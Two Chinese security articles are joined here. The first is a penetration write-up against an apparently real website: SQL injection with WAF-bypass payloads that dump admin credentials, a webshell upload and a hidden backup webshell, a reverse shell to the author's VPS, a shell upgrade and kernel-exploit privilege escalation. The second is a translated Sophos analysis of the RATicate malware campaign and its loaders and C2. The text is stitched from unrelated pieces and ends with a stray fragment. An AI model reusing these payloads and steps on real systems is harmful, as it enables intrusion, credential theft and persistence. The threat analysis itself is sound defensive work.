?id=125 and 1=0 页面变空白?id=125 and 1=1
页面恢复正常确认存在数字型注入，数字型注入的payload后面一般不用加注释
(图略，打码太累了)
?id=125 order by 7 页面正常?id=125 order by 8
页面报错确认注入点查询7列（图略，打码太累了）
?id=125 union select 1,2,3,4,5,6,7
使用union联合查询注入确认回显点时存在问题，页面迟迟无响应。
猜想是有waf做了过滤，接下来逐步测试 **waf** 到底过滤了什么东西。
每个waf都有自己的过滤特征(以前的安全狗是出现一只狗)，可以判断该waf的过滤特征就是页面无响应.
所以出现其他情况（正常回显，数据库报错等）都可判断是 **绕过waf成功**
?id=125 union 页面报错而不是无响应，说明waf没有过滤un
?id=125 union select 页面无响应，说明过滤了select或union select
?id=125 union sElecT
关键字大小写混用尝试绕过，页面依旧无响应，绕过失败（图略）
?id=125union /*!sElecT*/ mysql内联注释尝试绕过过滤，页面报错，绕过成功
?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7
确认回显列，却没有在页面发现数字回显，依旧是正常显示着新闻。
(图略，打码太累了)
?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7
怀疑是代码没有用循环输出，所以只能显示查询出的第一列，
正常查询的结果干扰了我们注入的回显。
于是更改前面的id为0，让程序查不出正常的数据，成功发现第2和第5列回显
通过information_schema数据库找表找列的注入过程略，最终查出管理员账号密码的payload.
如下 **:**
**(中间又被waf拦了一次，于是将内联注释做了一个升级，空格和union关键字也做了混淆最终绕过)**
id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd)separator ‘<br>’),6,7/**/From/**/admin
这里解释一下， **concat_ws函数** 是将多个列的结果合并返回，以第一个参数为分割符。 **group_concat**
则是多个行的结果合并返回，以 **separator后面指定的参数** (换行符)为分隔符，于是一条payload即可注出表中所有数据。
登陆后台找到编辑器功能。
上传图片处没有限制后缀也没有检测内容，上传webshell成功。
右键查看图片地址，访问却404 Not Found了。
查看编辑器框架的源代码。
发现可疑链接
尝试访问并测试成功，后面猜测 **/resizeimage** 里存放的是缩略图，上传的php文件无法处理成缩略图形式所以404，而
**uploadfiles** 里面存放的是原图。
蚁剑连接成功，特别喜欢这个绿色的小框框。
在隐蔽的目录下藏一个新的webshell，然后去后台把刚才的webshell删除，避免被轻易发现。
**0x03** **反弹shell**
用户权限不高，接下来尝试提权
因为webshell基于 **http协议（无状态协议）** ，
前后操作没有关联，提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来，这里用自己的vps，先关闭vps的防火墙。
然后在vps上用nc监听9999端口。
用webshell给目标服务器写入一个py的反弹脚本。
在蚁剑上执行py脚本，可以看到vps上成功接收到shell。
此时的shell仍然不是一个交互式shell，不能执行 **交互性工作** 和 **su命令** ，需要用 **pty库**
模拟一个终端出来，并用stty升级成完全交互式shell。
看图不清楚的，文字描述过程如下：
> **_$_** _python -c 'import pty;pty.spawn("/bin/bash")'_
>
> _Ctrl+Z_
>
> _//_ _这里是反弹shell挂起后在本机shell里的操作，stty升级后用fg把挂起的shell调出到前台_
>
> **_$_** _stty raw -echo_
>
> **_$_** _fg_
>
> _//_ _这里重新进入了反弹shell，一开始页面会有点怪，执行了reset后就会恢复_
>
> **_$_** _reset_
>
> **_$_** _export SHELL=bash_
>
> **_$_** _export TERM=xterm-256color_
>
> **_$_** _stty rows <num>columns <cols></cols></num>_
**0x04** **提升权限**
开始提权，尝试使用 **suid提权** ：带有s标志的文件运行时会以创建者而非使用者的权限运行，一些敏感命令如果带有s属性可以用来提权。
查找了所有s标志位文件，试图用ping命令提权失败（忘了截图了）。
改变思路，利用linux内核漏洞CVE-2012-0056成功提权。
后面没了，内网渗透？
**0x05** **总结**
**攻击链：** **前台sql注入** —— **绕过waf** —— **后台文件上传** —— **找到真实上传路径** —— **反弹shell**
—— **升级shell** —— **内核漏洞提权** 。
如有 **漏码少码** 导致能定位目标请各位师傅手下留情.
欢迎关注公众号：安译Sec | 社区文章 |
# RATicate攻击活动分析
|
##### 译文声明
本文是翻译文章，文章原作者 sophos，文章来源：news.sophos.com
原文地址：<https://news.sophos.com/en-us/2020/05/14/raticate/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 概述
在一系列可以追溯到2019年11月的恶意垃圾邮件活动中，某未确认身份的组织发送诸多安装程序，用以投递RAT及窃取受害者计算机信息的恶意软件。
我们已经确定了五次不同的攻击活动，位于2019年11月到2020年1月期间，其payload使用相似代码及指向相同C2。
攻击活动针对的企业位于欧洲，中东和韩国。这使得我们相信它们出于同一组织之手，故称之为 **RATicate** 。
在新发现的攻击活动中，我们发现其通过新冠肺炎(COVID-19)诱惑受害者打开恶意软件。 虽然其改变了策略，但我们仍怀疑此次攻击活动是该组织所为。
本篇文章中，我们将关注其初始载荷，即每次活动都使用到的 [Nullsoft Scriptable安装系统(NSIS)
](https://nsis.sourceforge.io/Main_Page)。
NSIS是一款开源工具，用以创建Windows安装程序及基于Internet的软件分发。 但它也被滥用了很长一段时间，用来伪装和部署恶意软件。
(在后续报告中，我们将讨论使用其他安装程序的攻击活动，以及该组织钓鱼策略的转变。)
## 0x01 初始载荷分析
NSIS一个有趣的功能是其支持插件，允许安装程序与其他组件（包括Windows操作系统组件）通信
([可用插件列表](https://nsis.sourceforge.io/Category:Plugins))。 这些插件本质为Windows
DLL文件。 如果于安装程序构建期间选择某插件，会被自动添加到最终编译完成的`$PLUGINS`文件夹内。
这些插件可以提供的功能包括:
* [杀掉进程](https://nsis.sourceforge.io/Processes_plug-in)
* [执行基于命令行的程序](https://nsis.sourceforge.io/NsExec_plug-in)
* [解压文件](https://nsis.sourceforge.io/ExtractDLLEx_plug-in)
* [加载DLL及调用其输出函数](https://nsis.sourceforge.io/Docs/System/System.html)
安装程序引起我们注意是因为它们都释放一组相同的`junk file`(这些文件并未被用来安装恶意软件)。过去我们看到过于NSIS安装程序中用`junk
file`以隐藏恶意软件；`junk file`旨在迷惑分析人员，及干扰沙箱分析。这种行为引起了我们的兴趣，于是开始对其进行更为详细的分析。
我们发现所有样本都使用了 **System.dll** 插件，它允许使用者加载某DLL以及调用其输出函数。
恶意安装程序调用该DLL以注入payload到内存中(多数情况下经由 `cmd .exe`)。
为了便于说明，本报告主要分析第一次发现的
[NSIS安装程序](https://www.virustotal.com/gui/file/4722dafde634152e42054038c6ab64563a9dd717edfa2e37f245c76f431cecec/detection)：
NSIS安装包中含压缩内容，其中有可执行程序，由安装包加载到内存中。 这些内容可以通过压缩工具(如7 zip)提取出来。
样本释放文件类型包括:
* ASCII文本文件
* C源码(ASCII文本格式)
* 数据文件
* 64位ELF
* GIF
* JPEG
* BMP(Windows 3.x 格式，164 _314_ 4)
* 32位可执行文件(DLL)
* 32位可执行文件(GUI)
* POSIX Shell(ASCII文本格式)
* `.pyc`文件
* XML 1.0
安装程序将释放`junk file`到`%TEMP%/careers/katalog/_mem_bin/page1/W3SVC2` 目录：
安装包释放到临时目录中的文件中仅有两个与恶意软件有关：
* aventailes.dll(Loader)
* Cluck(加密内容)
我们将重点分析这两个文件。
不过我们发现这些安装程序的payload有所不同。
在对发现的样本进行分析的过程中——手动分析以及借助沙盒工具——我们发现了数种不同的RAT及窃密软件，包括Lokibot，Betabot，Formbook与AgentTesla。
但是这些安装程序在执行时都遵循相同的过程。
## 0x02 第一阶段:Loader & Shellcode
在第一阶段，安装程序将部署初始Loader——恶意DLL文件。
然后，DLL文件开始解密payload，并最终将payload注入到内存中(此时NSIS安装包在释放`junk file`)。
下图展示了分析样本如何创建`cmd.exe`进程——注入payload到该进程：
样本创建子进程的内存内容如上所示。 payload位于地址`0x400000`处。
RATicate安装包释放的恶意DLL（本例中是 **aventailes.dll** ）本质是一
Loader，可能由此次活动策划者开发，存储于临时目录中。
分析的所有Loader都是只有一个输出函数的DLL文件，尽管各样本中Loader的名称和输出函数不尽相同。（本例中是Inquilinity)
如前文所述，该输出函数会被NSIS的System插件调用。 输出函数会加载并执行shellcode(位于Loader的`.rdata`区块)。
解密shellcode使用了一个简单的算法，该算法于不同Loader中不尽相同。
然后，由Loader加载的shellcode会读取存有其他Loader及payload的加密文件——Cluck。这些Loader（PE文件）和shellcode会在之后两个阶段中按需解密。第一阶段，由Loader调用的shellcode完成解密工作，解密后内容包含异或运算的密钥(用于解密
**shellcode2** 与 **Loader2** )，shellcode[ **shellcode 2** ]及一PE文件[ **Loader
2** ]。
第一阶段的工作流程如下所示：
第一阶段的工作流程：
1. 执行NSIS exe。
2. System.dll插件加载并调用Loader（aventailes.dll）。
3. Loader的输出函数解密shellcode 1并调用之。
4. shellcode1读取加载到内存中的Cluck文件。
5. shellcode1解密shellcode2和Loader2并映射shellcode2，然后调用之。
6. shellcode2将Loader2映射到内存中。
## 0x03 第二阶段：shellcode 2 & Loader DLL
当Shellcode 2将 Loader 2加载到内存中后，开始第二阶段解密 。Loader 2读取Cluck文件来解密其他内容。
根据包含加密内容的文件名（本例中是Cluck）动态生成异或运算密钥，该密钥用于解密第二阶段的数据。如下图所示，解密完成后，文件的第二部分中存储了另一个异或运算密钥(xor_key
2)，该密钥用于解密其他内容，例如字符串，shellcode和PE文件。
第二阶段工作流程：
1. Loader 2执行其DllEntryPoint。
2. Loader 2再次读取Cluck文件。
3. Loader 2从Cluck中解密未使用的shellcode。
4. Loader 2从Cluck读取的数据中解密shellcode 3。
5. Loader 2执行shellcode3，该shellcode3解密最终payload（PE文件）。
## 0x04 第三阶段：Injection
解密工作完成之后，shellcode 3将在一子进程中注入最终payload。其使用了[NtCreateSection +
NtMapViewOfSection 注入技术](https://ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection)。
以下是分析时提取出来的组件：
## 0x05 如何确定其为同一组织所为？
我们共发现了38个NSIS安装包，都具有如下相似的特征：
相同的`junk file`。不仅仅是它们的名字，还有其内容。当NSIS脚本生成安装包时，攻击活动的参与者必须将这些文件统统保存在硬盘上。
相同的Loader：所分析NSIS安装包中所有的Loader都是相同的，不是在HASH值方面，而是在功能方面(具体如下)。
* 所有初始Loader都只有一个输出函数，并由NSIS安装包调用
* 初始Loader从加密数据中读取数据，以解密加载Loader 2的shellcode。
* 所有样本的Loader 2从加密数据中提取并解密shellcode 3。
* Shellcode 3负责解密最终payload并将其注入到远程进程中，在所有分析的样本之间都是相同的。
但是，我们分析的每个NSIS安装包释放了不同的恶意软件
。我们认为这出于两种可能的情况：恶意NSIS软件包是暗网论坛上出售的通用打包程序；或者该组织成员使用自行编写的Loader于每次攻击活动中部署不同的payload。
尽管在暗网论坛上有很多打包程序在出售，但我们认为不太可能是这种情况，因为如果是不同组织的成员使用相同的通用打包程序，那么`junk
file`应该会随payload变化而变化。因此，我们以攻击活动来自同一组织的假说继续进行调查。
虽然已有掌握的证据，但我们无法证明此组织对所有的攻击活动都负责，但是我们至少可以从相同的打包策略及组件中，找到一种将所有的攻击活动联系起来的方法。我们进行了进一步的分析，以寻找其确定的联系，我们将视线转向提供这些攻击活动的感染链。
我们发现在2019年12月8日至12月13日期间的恶意电子邮件活动中，一组NSIS安装程序投递了相同的`junk
file`。（在发现其他的NSIS安装程序之后，我们将这一波攻击活动称为Campaign
3）在我们观察到的攻击活动中，目标似乎都是关键基础设施提供商（或与关键基础设施相关的业务）。我们使用VirusTotal分析了观察到的攻击，并收集了有关其他受害者的开源信息：
上图展示了经分析后的NSIS安装包感染链。它揭示出用于感染受害者的两种常见模式：
在图表上叠加以上两种方式，可以看出其都用于同一目标企业。其他目标企业也可能采用相同的方法：
我们能够从VT中检索与此活动相关的一些电子邮件。通过这些电子邮件，我们能够确定一些攻击活动的目标：
Campaign 3中的一封电子邮件，以“banking confirmation”作为诱饵：
我们在VirusTotal中发现许多电子邮件没有显示收件人的地址，或者收件人地址填充了发件人字段中的地址。在这种情况下，我们分析了电子邮件标题，因为标题包含与电子邮件相关的许多信息，例如原始收件人：
在对NSIS安装包分析的过程中，我们发现与原始样本具有相同`junk
file`的样本里，确定了至少5个不同的恶意软件家族用作最终payload，它们均是窃密木马或RAT：
* ForeIT/Lokibot
* BetaBot
* Formbook
* AgentTesla
* Netwire
然后，我们分析了用于这些payload的C2，检查它们之间是否存在联系，并检查其是否将窃取到的数据发送到相同或相似的服务器。
以下是此次活动中一些确定的恶意软件家族及其C2：
每种类型的恶意软件都共享相同的C＆C。在某些情况下，甚至不同的家族——例如Lokibot和Betabot也都共享相同的C＆C。
## 0x06 更多的攻击活动
按照这种模式寻找其他NSIS安装包——它们会在相同日期范围内丢弃相同`junk
file`——我们发现了在2019年11月16日至2020年1月8日之间发生的5次不同的攻击活动。虽然这些活动中的每一个安装包都与我们的第一个样本不同，但是其行为与Campaign
3中观察到的行为相同（或至少相似）：
#### 0x06.1 CAMPAIGN 1 (NOVEMBER 16-20, 2019)
此次活动中所有NSIS安装包释放的`junk file`：
此次活动中的部分payload：
这是我们从VirusTotal收集到的与Campaign 1相关的电子邮件：
下图展示了Campaign 1中的相互关系和感染链（基于VT上可用的数据）
#### 0x06.2 Campaign 2 (November 25, 2019 to November 26, 2019)
此次活动中所有NSIS安装包释放的`junk file`：
此次活动中的部分payload：
我们找不到与此次活动有关的电子邮件，因此无法分析其预期目标。下图展示了相似payload之间的关系：
#### 0x06.3 CAMPAIGN 4 (DECEMBER 20, 2019 TO DECEMBER 31, 2019)
此次活动中所有NSIS安装包释放的`junk file`：
此次活动中的部分payload：
收集到的与之相关的电子邮件：
#### 0x06.4 CAMPAIGN 5 (JANUARY 3, 2020 TO JANUARY 8, 2020)
此次活动中所有NSIS安装包释放的`junk file`：
此次活动中的部分payload：
收集到的与之相关的电子邮件：
下图展示了Campaign 5中的相互关系和感染链（基于VT上可用的数据）:
## 0x07 对攻击活动策划者进行分析
分析所有发现的攻击活动，我们发现其C＆C经常出现重复，如下表所示：
我们还发现，每次攻击活动的某些不同payload（大多数是Betabot，Lokibot，AgentTesla和Formbook）使用相同的C＆C。这表明，同一参与者/组织正在管理这些恶意软件活动背后的Web服务器。
攻击活动时间表也有明显的聚集——但它们之间从来没有任何重叠，这表明它们是由相同的策划者连续进行的（包括我们将在下一次报告中介绍的第六次攻击活动）：
在这些攻击活动中，不仅在同一次活动中跨不同payload共享C2，另外一些C2还在多次不同活动中共享，这也表明是同一参与者/组织策划了所有活动。
下表显示了各次活动之间的一些有趣的联系：
## 0x08 目标和动机
根据RATicate使用到的payload，很明显，该组织开展的活动旨在获得对目标公司内计算机的访问控制权。从这些活动中收集到的电子邮件确定其目标包括：
* 某罗马尼亚的电气设备制造商；
* 某科威特建筑服务和工程公司；
* 某韩国互联网公司；
* 某韩国投资公司；
* 某英国建筑供应商；
* 某韩国医学新闻刊物；
* 某韩国电信和电缆制造商；
* 某瑞士出版设备制造商；
* 某日本的快递和运输公司。
我们发现其目标至少在两次攻击活动中重叠：Campaign
1和2都针对电气设备制造商。在多个Campaign中可能会有更多共同的目标（我们仅通过查看VirusTotal的公开可用数据，而未分析非公开数据）。而且，许多（但并非不是全部）已针对的公司与关键基础架构有关。
我们已经检测到另外一个使用这些NSIS安装包的近期活动（1月13日至16日）。但是，随着我们深入分析该组织，我们发现其进行了其他的攻击活动——并且我们相信自1月份以来，该组织已开始使用其他Loader和打包程序。
其中一次活动是我们在三月份检测到的，此次活动使用COVID-19来诱使受害者打开payload。最新检测到的样本随各种VB编写的Loader一并投递——其中包括[Proofpoint于2019年12月发现](https://www.proofpoint.com/us/threat-insight/post/guloader-popular-new-vb6-downloader-abuses-cloud-services)的Guloader。
我们认为这些攻击活动是由同一组织进行的，其原因如下：
* 其电子邮件的目标客户与之前Campaign相同。
* 部分检测到的payload是Betabot和Lokibot，它们于先前观察到的活动中出现。
* Betabot的C＆C与之前Campaign中所发现的相似——它与Campaign 3中的Betabot使用相同的域名( **stngpetty [.] ga** )，并且使用类似的路径(`/~zadmin/{NAME1}/{NAME2}/logout.php`)：
根据他们现有的行为，我们不确定RATicate是专注于间谍活动还是仅仅充当其他组织的恶意软件提供商。有可能他们仅仅是向目标公司投递了恶意软件，以向其他组织的提供付费访问权限，或者他们是将InfoStealer与RAT用作更大的恶意软件分发工作的一部分。我们将继续分析新的攻击活动，以对其动机有更深入的了解。
## 0x09 “反沙盒”
在对第一个RATicate样本进行分析的过程中，我们发现安装包删除的Shellcode
3使用了许多有趣的技术来阻碍分析人员分析其API调用，并且使用了许多反调试技巧来进一步阻碍分析。但是我们在这些样本中也发现了一个奇怪的行为：如果以SHA256值作为文件名之后执行样本，程序将崩溃：
这种行为可以被视为一种反沙盒技巧。由于沙盒通常以样本哈希值作为文件名运行样本，帮该技术可以避免在沙盒环境中执行payload。但是在本例中，该行为实际上是由于代码错误所致。
在执行Shellcode 3期间发生错误：
Shellcode
3使用一种已知技术——通过在PEB中搜索LDR_DATA_TABLE_ENTRY来获取已加载模块的地址（例如库或可执行文件本身）。LDR结构中的信息包括已加载模块的名称和地址。程序代码会根据所需函数名称的哈希值来检查此结构，从而提供一种方式来动态解析要调用函数的地址。
该功能是在代码的
`get_dll_base_addres_from_ldr_by_hash(dll_hash)`函数中实现的，而崩溃正是在此函数中发生的。该函数遍历LDR结构，计算所加载模块名称的HASH，并检查其是否匹配作为参数传递的HASH。
该函数将`ldr_data_table->
BaseDllName.Buffer`的内容存入`vulnerable_buffer`中，以便将ANSI字符串转换为UNICODE字符串。
但是，由于`vulnerable_buffer`大小仅为104，并且其存储了Unicode字符串，这意味着其实际大小上仅为52个ANSI字符。所以，如果文件名的长度为53个或更多字符，则将发生缓冲区溢出。要使该程序崩溃，只需为样本提供57个字符的文件名（如`this_is_57_length_filename_in_order_to_do_a_crash_PoC.exe`）即可。
经过分析，我们确认这是代码错误，而不是反沙盒技术。
## 0x10 IOC
与RATicate攻击活动相关的HASH可以在SophosLabs的[GitHub](https://github.com/sophoslabs/IoCs/blob/master/malware-Raticate)中找到。 | 社区文章 |
Subsets and Splits